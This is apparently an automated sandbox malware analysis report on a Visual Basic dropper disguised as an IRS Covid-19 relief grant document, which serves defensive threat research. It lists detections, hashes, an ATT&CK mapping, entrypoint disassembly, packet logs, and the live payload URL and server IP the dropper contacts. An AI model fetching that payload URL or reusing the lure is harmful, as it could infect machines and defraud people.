Source: IRS_Covid_19_Relief_Grant_Document_docx.exe, 00000001.00000002.614978525.0000000000DC0000.00000002.00000001.sdmp	Binary or memory string: Progmanlock

Language, Device and Operating System Detection:

Source: C:\Users\user\Desktop\IRS_Covid_19_Relief_Grant_Document_docx.exe

Code function: 1_2_005670B5 cpuid

1_2_005670B5

Stealing of Sensitive Information:

Yara detected Generic Dropper

Show sources

Source: Yara match

File source: Process Memory Space: IRS_Covid_19_Relief_Grant_Document_docx.exe PID: 2220, type: MEMORY

Mitre Att&ck Matrix

Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Exfiltration	Command and Control	Network Effects	Remote Service Effects	Impact
Valid Accounts	Windows Management Instrumentation	Path Interception	Process Injection12	Virtualization/Sandbox Evasion21	OS Credential Dumping	Security Software Discovery621	Remote Services	Archive Collected Data1	Exfiltration Over Other Network Medium	Encrypted Channel12	Eavesdrop on Insecure Network Communication	Remotely Track Device Without Authorization	Modify System Partition
Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Process Injection12	LSASS Memory	Virtualization/Sandbox Evasion21	Remote Desktop Protocol	Data from Removable Media	Exfiltration Over Bluetooth	Ingress Tool Transfer1	Exploit SS7 to Redirect Phone Calls/SMS	Remotely Wipe Data Without Authorization	Device Lockout
Domain Accounts	At (Linux)	Logon Script (Windows)	Logon Script (Windows)	Deobfuscate/Decode Files or Information1	Security Account Manager	Process Discovery2	SMB/Windows Admin Shares	Data from Network Shared Drive	Automated Exfiltration	Non-Application Layer Protocol1	Exploit SS7 to Track Device Location	Obtain Device Cloud Backups	Delete Device Data
Local Accounts	At (Windows)	Logon Script (Mac)	Logon Script (Mac)	Obfuscated Files or Information2	NTDS	Application Window Discovery1	Distributed Component Object Model	Input Capture	Scheduled Transfer	Application Layer Protocol2	SIM Card Swap		Carrier Billing Fraud
Cloud Accounts	Cron	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	Remote System Discovery1	SSH	Keylogging	Data Transfer Size Limits	Fallback Channels	Manipulate Device Communication		Manipulate App Store Rankings or Ratings
Replication Through Removable Media	Launchd	Rc.common	Rc.common	Steganography	Cached Domain Credentials	System Information Discovery311	VNC	GUI Input Capture	Exfiltration Over C2 Channel	Multiband Communication	Jamming or Denial of Service		Abuse Accessibility Features

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
IRS_Covid_19_Relief_Grant_Document_docx.exe	29%	Virustotal		Browse

Dropped Files

No Antivirus matches

Unpacked PE Files

No Antivirus matches

Domains

Source	Detection	Scanner	Label	Link
chengsolution.com	4%	Virustotal		Browse

URLs

Source	Detection	Scanner	Label	Link
https://chengsolution.com/vr/xdark_mkDaCZ89.bin	12%	Virustotal		Browse
https://chengsolution.com/vr/xdark_mkDaCZ89.bin	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
chengsolution.com	162.0.209.179	true	false	4%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://chengsolution.com/vr/xdark_mkDaCZ89.bin	IRS_Covid_19_Relief_Grant_Document_docx.exe, 00000001.00000002.614207915.0000000000562000.00000040.00000001.sdmp	true	12%, Virustotal, Browse Avira URL Cloud: safe	unknown

Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
162.0.209.179	unknown	Canada		35893	ACPCA	false

General Information

Joe Sandbox Version:	31.0.0 Red Diamond
Analysis ID:	343212
Start date:	22.01.2021
Start time:	15:31:46
Joe Sandbox Product:	CloudBasic
Overall analysis duration:	0h 8m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Sample file name:	IRS_Covid_19_Relief_Grant_Document_docx.exe
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 64 bit v1803 with Office Professional Plus 2016, Chrome 85, IE 11, Adobe Reader DC 19, Java 8 Update 211
Number of analysed new started processes analysed:	31
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled HDC enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/0@1/1
EGA Information:	Successful, ratio: 100%
HDC Information:	Successful, ratio: 47.6% (good quality ratio 41.1%) Quality average: 69.4% Quality standard deviation: 33.8%
HCA Information:	Successful, ratio: 52% Number of executed functions: 76 Number of non-executed functions: 97
Cookbook Comments:	Adjust boot time Enable AMSI Found application associated with file extension: .exe
Warnings:	Show All Exclude process from analysis (whitelisted): taskhostw.exe, MpCmdRun.exe, audiodg.exe, BackgroundTransferHost.exe, WMIADAP.exe, backgroundTaskHost.exe, SgrmBroker.exe, conhost.exe, svchost.exe, wuapihost.exe Excluded IPs from analysis (whitelisted): 168.61.161.212, 13.88.21.125, 23.210.248.85, 51.11.168.160, 92.122.213.247, 92.122.213.194, 20.54.26.129, 52.155.217.156 Excluded domains from analysis (whitelisted): displaycatalog-europeeap.md.mp.microsoft.com.akadns.net, fs.microsoft.com, arc.msn.com.nsatc.net, ris-prod.trafficmanager.net, displaycatalog.md.mp.microsoft.com.akadns.net, skypedataprdcolcus17.cloudapp.net, e1723.g.akamaiedge.net, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, a1449.dscg2.akamai.net, arc.msn.com, ris.api.iris.microsoft.com, db5eap.displaycatalog.md.mp.microsoft.com.akadns.net, blobcollector.events.data.trafficmanager.net, displaycatalog.mp.microsoft.com, watson.telemetry.microsoft.com, img-prod-cms-rt-microsoft-com.akamaized.net, prod.fs.microsoft.com.akadns.net, skypedataprdcolwus15.cloudapp.net Report size getting too big, too many NtOpenKeyEx calls found. Report size getting too big, too many NtQueryValueKey calls found.

Simulations

Behavior and APIs

No simulations

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
162.0.209.179	IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Get hash	malicious	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
chengsolution.com	IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Get hash	malicious	Browse	162.0.209.179

ASN

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
ACPCA	invoice 2021.xlsx	Get hash	malicious	Browse	162.0.215.9
	1ELOG8UQ4M.htm	Get hash	malicious	Browse	162.0.209.171
	1ELOG8UQ4M.htm	Get hash	malicious	Browse	162.0.209.171
	FM0DWXGE27.htm	Get hash	malicious	Browse	162.0.209.171
	Purchase Order and Contract Agreement Namtip THAI CO.doc	Get hash	malicious	Browse	162.0.209.181
	IRS_Covid-19_Relief_Payment_Notice_pdf.exe	Get hash	malicious	Browse	162.0.209.179
	LRGjZ3F0AO.exe	Get hash	malicious	Browse	162.0.219.122
	Busan Korea.exe	Get hash	malicious	Browse	162.0.213.60
	mssecsvc.exe	Get hash	malicious	Browse	162.36.93.137
	SCAN_20210115140930669.exe	Get hash	malicious	Browse	162.0.213.203
	Order (2021.01.06).exe	Get hash	malicious	Browse	162.0.213.203
	https://vodafone-bill-failed.com	Get hash	malicious	Browse	162.0.215.120
	UF14VE7MF3.htm	Get hash	malicious	Browse	162.0.209.142
	https://verify-requests.com/HSBC/	Get hash	malicious	Browse	162.0.209.141
	46M2B7IIGN.htm	Get hash	malicious	Browse	162.0.209.142
	http://recp.mkt91.net/ctt?m=804040&r=Njg0NjYxMDU1NQS2&b=0&j=NjAwMDczOTg3S0&k=NCLogo&kx=1&kt=12&kd=https://ahlhealth.com/Wednesday5029kl%23mark.tryniski@cbna.com	Get hash	malicious	Browse	162.0.209.130
	https://linkprotect.cudasvc.com/url?a=https%3a%2f%2fin0038847990.sn.am%2flfCk7ZE6GWq&c=E,1,XbwqZlmKwFAf_trFhDdV9wkuU6vutPEIQqN4IhE8jUbxLD3wnPPXDvKp8Jibjk9HngPAI5iRQWnG4vU_DQMKfMGkzgCqkZ-4BfRprMNSl9Nr7VoPQEtWNft5&typo=1	Get hash	malicious	Browse	162.0.209.25
	https://joom.ag/qJFC	Get hash	malicious	Browse	162.0.209.115
	https://faxdocuments.sn.am/la0TEIilIWq	Get hash	malicious	Browse	162.0.209.144
	https://securedoc.sn.am/lZnSrsZICGq	Get hash	malicious	Browse	162.0.209.144

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Link	Context
37f463bf4616ecd445d4a1937da06e19	Vivaldi.3.5.2115.87.x64.exe	Get hash	malicious	Browse	162.0.209.179
	8776139.docm	Get hash	malicious	Browse	162.0.209.179
	TeamViewer 14.exe	Get hash	malicious	Browse	162.0.209.179
	Jan_Order.html	Get hash	malicious	Browse	162.0.209.179
	open_office_2877604939.exe	Get hash	malicious	Browse	162.0.209.179
	SecuriteInfo.com.Trojan.Packed.196.27884.exe	Get hash	malicious	Browse	162.0.209.179
	6213805.docm	Get hash	malicious	Browse	162.0.209.179
	7653684.docm	Get hash	malicious	Browse	162.0.209.179
	1403181.docm	Get hash	malicious	Browse	162.0.209.179
	1ELOG8UQ4M.htm	Get hash	malicious	Browse	162.0.209.179
	2736760.docm	Get hash	malicious	Browse	162.0.209.179
	Notification_20443258.xls	Get hash	malicious	Browse	162.0.209.179
	Success_paym_info_7275986.docm	Get hash	malicious	Browse	162.0.209.179
	notif712.xls	Get hash	malicious	Browse	162.0.209.179
	Report-preview01.20.exe	Get hash	malicious	Browse	162.0.209.179
	notice.1459.xls	Get hash	malicious	Browse	162.0.209.179
	dep_det_3444608.docm	Get hash	malicious	Browse	162.0.209.179
	TMIJM.cpl	Get hash	malicious	Browse	162.0.209.179
	FM0DWXGE27.htm	Get hash	malicious	Browse	162.0.209.179

Dropped Files

No context

Created / dropped Files

No created / dropped files found

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.331258589216556
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	IRS_Covid_19_Relief_Grant_Document_docx.exe
File size:	86016
MD5:	5f85963ecc2a1c3354c2e705f3e8d038
SHA1:	a97cc41833fae623ff219c2dada84733329c8963
SHA256:	b76b24380c31d4be4dfc1d584d5799e1897277828ff523969f123a86f49a37db
SHA512:	edb310c7d1ecc3ecce9b45cc708e1b2b4a7175303da2d07cb9fc05736d7db7eb07191524c33a9b91d3a718cac4c791b254b4cc7db360ef2e5604a994f0a172e7
SSDEEP:	768:ejblNZiR6t0Dzlx+nffkyy16LojlL7MpVOqJpSSdGoL3KimHp:6blrWBBIfkyS6aLKOAB6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........#...B...B...B..L^...B...`...B...d...B..Rich.B..........PE..L....b.`................. ...0...............0....@................

File Icon


Icon Hash:	a0b0cc7270daec00

Static PE Info

General
Entrypoint:	0x401498
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x6009621A [Thu Jan 21 11:14:34 2021 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	98834e8b1c22ed6d1484c39b625780c4

Entrypoint Preview

Instruction
push 00401AE0h
call 00007F01FC95CAE3h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
dec eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edi+1E7C834Bh], bl
mov al, C9h
dec esp
cmpsd
into
cli
xchg eax, edx
aad E6h
mov dh, dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax], eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
dec eax
popad
insd
popad
insb
jne 00007F01FC95CB66h
imul ebp, dword ptr [esi+61h], 6E6F6974h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add bh, bh
int3
xor dword ptr [eax], eax
or dword ptr [esi-7AA2F237h], esp
adc bh, byte ptr [ebp+ecx*2-6Eh]
clc
and dword ptr [esi-49DC1494h], ebx
mov dword ptr [esi-56C8461Dh], esi
out dx, al
inc ebp
mov ah, DAh
mov gs, word ptr [edi]
js 00007F01FC95CAB5h
sbb al, 26h
cmp cl, byte ptr [edi-53h]
xor ebx, dword ptr [ecx-48EE309Ah]
or al, 00h
stosb
add byte ptr [eax-2Dh], ah
xchg eax, ebx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
in eax, dx
add al, 00h
add byte ptr [ebx+eax+00h], bl
add byte ptr [eax], al
or eax, 74616400h
jc 00007F01FC95CB5Ch
outsb
jc 00007F01FC95CB62h

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x12584	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x15000	0x60c	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x128	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x11a8c	0x12000	False	0.391913519965	data	5.80205252886	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x13000	0x11c0	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x15000	0x60c	0x1000	False	0.15576171875	data	1.49893521938	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x15324	0x2e8	data
RT_GROUP_ICON	0x15310	0x14	data
RT_VERSION	0x150f0	0x220	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryVar, __vbaAryDestruct, __vbaLateMemSt, __vbaObjSet, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, _CIsin, __vbaErase, __vbaChkstk, EVENT_SINK_AddRef, __vbaStrCmp, __vbaObjVar, _adj_fpatan, __vbaLateIdCallLd, __vbaRedim, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, _CIlog, __vbaErrorOverflow, __vbaNew2, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaDerefAry1, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaI4Var, __vbaVarDup, __vbaVarCopy, __vbaLateMemCallLd, _CIatan, __vbaStrMove, __vbaAryCopy, _allmul, __vbaLateIdSt, _CItan, _CIexp, __vbaFreeObj, __vbaFreeStr

Version Infos

Description	Data
Translation	0x0409 0x04b0
InternalName	lutrin
FileVersion	2.00
CompanyName	ViralCherry
ProductName	ViralCherry
ProductVersion	2.00
OriginalFilename	lutrin.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 22, 2021 15:33:00.659708977 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:00.852823019 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:00.853913069 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:00.909730911 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.103221893 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.103290081 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.103328943 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.103367090 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.103394985 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.103427887 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.104790926 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.106894970 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.211014032 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.404757977 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.404932976 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.419486046 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.618079901 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.618141890 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.618179083 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.618217945 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.618222952 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.618247986 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.618252039 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.618254900 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.618264914 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.618292093 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.618298054 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.618330002 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.618331909 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.618367910 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.618371010 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.618407011 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.618446112 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.618489027 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.618489981 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.618529081 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.811444044 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.811507940 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.811541080 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.811633110 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.811674118 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.811712027 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.811747074 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.811752081 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.811774015 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.811777115 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.811778069 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.811789989 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.811815023 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.811826944 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.811846018 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.811867952 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.811886072 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.811907053 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.811919928 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.811954021 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.811956882 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.811995983 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.812009096 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.812035084 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:01.812061071 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:01.812355995 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.005701065 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.005737066 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.005759001 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.005783081 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.005806923 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.005831003 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.005853891 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.005883932 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.005883932 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.005908966 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.005925894 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.005930901 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.005934000 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.005950928 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.005959034 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.005973101 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.005983114 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006006002 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006017923 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.006026030 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.006030083 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006041050 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.006053925 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006067038 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.006083012 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006102085 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.006108046 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006114960 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.006133080 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006138086 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.006155968 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006176949 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.006180048 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006191969 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.006206036 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006226063 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006246090 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006267071 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006294012 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006311893 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.006486893 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.006516933 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.006522894 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.006527901 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.006531954 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199089050 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199134111 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199166059 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199196100 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199225903 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199255943 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199285984 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199316025 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199347973 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199374914 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199384928 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199419022 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199450016 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199476004 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199481010 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199484110 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199512005 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199541092 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199542999 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199547052 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199573040 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199604034 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199645042 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199646950 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199680090 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199681997 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199708939 CET	49722	443	192.168.2.3	162.0.209.179
Jan 22, 2021 15:33:02.199712038 CET	443	49722	162.0.209.179	192.168.2.3
Jan 22, 2021 15:33:02.199713945 CET	49722	443	192.168.2.3	162.0.209.179
